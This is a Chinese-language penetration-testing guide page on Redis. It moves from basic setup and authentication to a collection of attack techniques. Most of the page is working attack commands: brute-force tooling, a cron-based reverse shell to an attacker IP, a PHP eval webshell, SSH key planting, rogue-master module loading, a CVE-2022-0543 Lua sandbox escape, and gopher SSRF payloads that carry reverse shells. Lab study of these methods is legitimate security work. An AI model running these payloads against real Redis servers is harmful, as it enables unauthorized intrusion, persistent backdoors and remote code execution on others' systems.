Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Redis

Redis 是一个高性能的开源内存数据存储系统,广泛用于数据库、缓存和消息代理。

Redis 由 Salvatore Sanfilippo 于 2006 年创建,使用 C 语言编写。当前主流版本包括 6.2.x7.[24].x8.0.x,早期版本有2.[02468].x3.[02].x4.0.x5.0.x6.0.x等等。

port:6379

基本用法

docker run --name ubuntu22 -it -p 8080:80 -p 6379:6379 -p 8022:22 ubuntu:22.04
  • 通过官方仓库安装 Redis
sudo apt install redis-server
sudo service redis-server start
  • 使用 redis-cli 客户端连接
# sudo apt-get install redis-tools
redis-cli -h <hostname> -p <port-number> --user <username> -a <password>

#port number is optional
#username is optional
#password is optional
root@d3070abc0151:~# redis-cli
127.0.0.1:6379> ping
PONG

配置文件 /etc/redis/redis.conf

  • 常用命令
命令用途
PING检查服务器是否运行(返回 PONG
QUIT退出客户端
INFO获取 Redis 服务器详细信息(版本、内存、配置等)
CONFIG GET *查看所有配置(可能包含敏感信息)
CLIENT LIST查看当前连接的客户端(IP、端口等)
KEYS *列出所有键(寻找敏感数据)
SET key value设置指定键的值(如 SET username "Alice"
GET <key>读取键值(如 GET user:admin:password
HGETALL <hash_key>读取哈希表所有字段(如用户表)
DUMP <key>导出键的序列化数据(可用于恢复)
SELECT <db_index>切换数据库(0-15)
FLUSHDB清空当前数据库
FLUSHALL清空所有数据库
nmap --script redis-info -sV -p 6379 10.10.x.x
msf> use auxiliary/scanner/redis/redis_server

认证

在 Redis 6.0 (2020 年 4 月 30 日)之前,主要的身份验证机制是在 redis.conf 文件中设置的一个全局密码。

  1. 编辑配置文件redis.confrequirepass your_strong_password
  2. 重启 Redis 服务:service redis-server start
  3. 客户端连接:客户端必须使用以下命令进行身份验证:AUTH your_strong_password
root@d3070abc0151:~# redis-cli
127.0.0.1:6379> ping
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth foobared
OK
127.0.0.1:6379> ping
PONG
docker run --rm -p 6379:6379 -v /myredis/conf:/usr/local/etc/redis docker:6.0 /usr/local/etc/redis/redis.conf

在 Redis 6.0 中引入的 ACL(访问控制列表)提供了细粒度的访问控制。定义不同的用户及其各自的密码、允许或拒绝特定命令执行、限制对符合特定模式的键的访问。从 Redis 6 开始,"requirepass" 仅是新 ACL 系统之上的兼容层。该选项的作用仅为默认用户设置密码。客户端仍可使用 AUTH <password> 进行认证,或遵循新协议更明确地使用 AUTH default <password>——两者均可生效。

保护模式

自 Redis 3.2.0 版本起引入保护模式,当 Redis 以默认配置(绑定所有网络接口)protected-mode yes 且未设置密码运行时,会自动启用保护模式。在此模式下,Redis 仅响应来自本地回环接口的请求,并向其他地址的连接返回错误信息,示例如下:

┌──(kali㉿kali)-[~/Desktop]
└─$ redis-cli -h 192.168.200.1
192.168.200.1:6379> ping
Error: Server closed the connection
not connected> auth foobared
Error: Server closed the connection
not connected> 

Redis 的 Docker 官方镜像,默认关闭保护模式。

未授权访问漏洞

Redis 3.2.0 版本(2016 年 5 月 6 日)开始,为了安全考虑,默认配置将 Redis 服务器绑定到本地回环地址 127.0.0.1。 这意味着只有本地机器上的客户端才能连接到 Redis 服务器,从而阻止了未经授权的远程访问。在早期版本中,默认情况下,Redis 绑定到所有接口(0.0.0.0),这使其对所有网络接口可用。此外,注释掉bind 127.0.0.1,Redis 将绑定到所有接口。

暴力破解

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] redis://<IP>

定时任务

Linux 系统提供了多种定时任务机制,用于在指定时间或周期性地执行命令和脚本。

*    *    *    *    *  command_to_execute
┬    ┬    ┬    ┬    ┬
│    │    │    │    │
│    │    │    │    └── 星期几 (0 - 6) (0 是星期日)
│    │    │    └─────── 月份 (1 - 12)
│    │    └─────────── 日 (1 - 31)
│    └──────────────── 小时 (0 - 23)
└───────────────────── 分钟 (0 - 59)
字符说明示例
*任意值* * * * * 每分钟执行
,值分隔符1,15 * * * * 每小时1分和15分执行
-范围0 9-17 * * * 9点到17点整点执行
/步长*/5 * * * * 每5分钟执行
@预设@daily 每天执行
# 编辑当前用户的crontab
crontab -e

# 列出当前用户的crontab
crontab -l

# 删除当前用户的crontab
crontab -r

# 指定用户操作(需要root权限)
crontab -u username -e

不同 Linux 发行版的 cron 任务文件存储位置存在差异:

发行版家族用户级任务路径系统级任务路径
Debian/Ubuntu/var/spool/cron/crontabs/<Username>/etc/crontab
RHEL/CentOS/var/spool/cron/<Username>/etc/crontab
Alpine/var/spool/cron/crontabs/<Username>/etc/crontab
* * * * * bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
CONFIG SET dir /var/spool/cron/crontabs/
CONFIG SET dbfilename root
SET payload "\n* * * * * /bin/bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1\n"
SAVE

该利用方法存在系统限制,在centos/RHEL上可行,由于Ubuntu/Debian系 要求权限为 600,而 redis 通过SAVE命令默认创建的文件权限为644,并且会检查文件格式有效性。

docker run --name centos8 -it centos:8

webshell

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "\n<?php @eval($_POST[a]);?>\n"
SAVE

SSH 公钥

利用条件:开放 22/SSH服务,

ssh-keygen -t rsa
ls /root/.ssh/
id_rsa.pub
 (echo -e "\n\n"; cat key.pub; echo -e "\n\n") > key.txt
cat /.ssh/key.txt | redis-cli -h 127.0.0.1 -x set s-key
config set dir /root/.ssh 
config set dbfilename authorized_keys
save

主从复制

主从模式(Master-Slave Replication)是 Redis 提供的一种数据复制机制,用于实现数据的冗余备份、读写分离和高可用性。

  • 主节点(Master):负责处理客户端的写操作(如 SET、DEL 等),并将写操作同步到从节点。
  • 从节点(Slave):复制主节点的数据,通常用于处理客户端的读操作(如 GET),从而分担主节点的负载。

环境搭建

  • docker-compose.yml
services:
  redis-master:
    image: redis:5.0
    container_name: redis-master
    ports:
      - "6379:6379"
  redis-slave:
    image: redis:5.0
    container_name: redis-slave
    ports:
      - "6380:6379"
    depends_on:
      - redis-master
docker compose up

配置步骤

在从节点机器上进行如下配置:

  • 方式 1:通过 redis.conf
REPLICAOF <主节点IP> <主节点端口>
  • 方式 2:运行时配置

在 Redis 5.0 及以上版本,SLAVEOF 命令已被 REPLICAOF 取代,但为了兼容性,SLAVEOF 仍然可以使用。

# 建立主从关系, REPLICAOF <主节点IP> <主节点端口>
127.0.0.1:6379> REPLICAOF redis-master 6379
OK

# 认证配置(若主节点启用requirepass)
127.0.0.1:6379> CONFIG SET masterauth <master-password>

# 验证复制状态
127.0.0.1:6379> INFO replication

MODULE LOAD 命令用于动态加载外部模块(.so 文件),以扩展 Redis 的功能。

# 加载模块
127.0.0.1:6379> MODULE LOAD /tmp/exp.so
OK

# 查看已加载模块
127.0.0.1:6379> MODULE LIST
1) 1) "name"
   2) "system"
   3) "ver"
   4) (integer) 1

# 执行命令
127.0.0.1:6379> system.exec id
"uid=999(redis) gid=999(redis) groups=999(redis)\n"

FULLRESYNC 是 Redis 主从复制(Replication)中的全量同步协议,当从节点(Replica)首次连接主节点(Master)或无法进行增量同步时触发。该机制确保从节点获得完整的数据集副本,是保证数据一致性的核心流程。

可利用版本:<=5.0.14,在高版本中,由于 Redis 创建的文件权限为600,没有执行权限,提示错误 Module /data/exp.so failed to load: It does not have execute permissions

redis-rogue-server 是一种针对未授权访问 Redis 服务器的攻击手法,攻击者通过伪造恶意主节点(Master),诱导目标 Redis 服务器(作为从节点)同步恶意数据,最终实现远程代码执行(RCE)。

python3 redis-rogue-server.py --rhost 192.168.200.1 --rport 6379 --lhost 192.168.200.134

https://paper.seebug.org/975/

Redis Lua沙盒绕过命令执行(CVE-2022-0543)

Redis 在 Debian/Ubuntu 发行版的打包过程中,错误地将 Lua 库(liblua)与 Redis 主程序动态链接,攻击者可通过 Redis 的 EVAL 或 EVALSHA 命令执行恶意 Lua 脚本,利用 package 模块加载外部库,最终实现 远程代码执行(RCE)。

官方 Redis 源码编译版本不受影响。

环境搭建

cd vulhub/redis/CVE-2022-0543
docker compose up

漏洞利用

127.0.0.1:6379> EVAL 'local io = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"

参考资料

结合 SSRF

环境搭建

# 构建镜像
docker build . -t redis-rocky

# 运行容器
docker run --name redis-rocky -d -p 8081:8080 -p 8022:22 -p 6379:6379 redis-rocky

# 进入容器
docker exec -it redis-rocky /bin/bash

漏洞利用

$ python2 payload_redis.py cron
Reverse IP > 192.168.200.134
Port > 54321
Centos/Ubuntu (Default Centos)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2475%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27sh%20-i%20%3E%26%20/dev/tcp/192.168.200.134/54321%200%3E%261%27%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

Redis 协议(RESP, REdis Serialization Protocol)

如果需要认证,需要手工添加AUTH,如下:

gopher://127.0.0.1:6379/_AUTH%20redis123%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2475%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27sh%20-i%20%3E%26%20/dev/tcp/192.168.200.134/54321%200%3E%261%27%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

参考资料

综合利用工具

https://github.com/yuyan-sec/RedisEXP

参考资料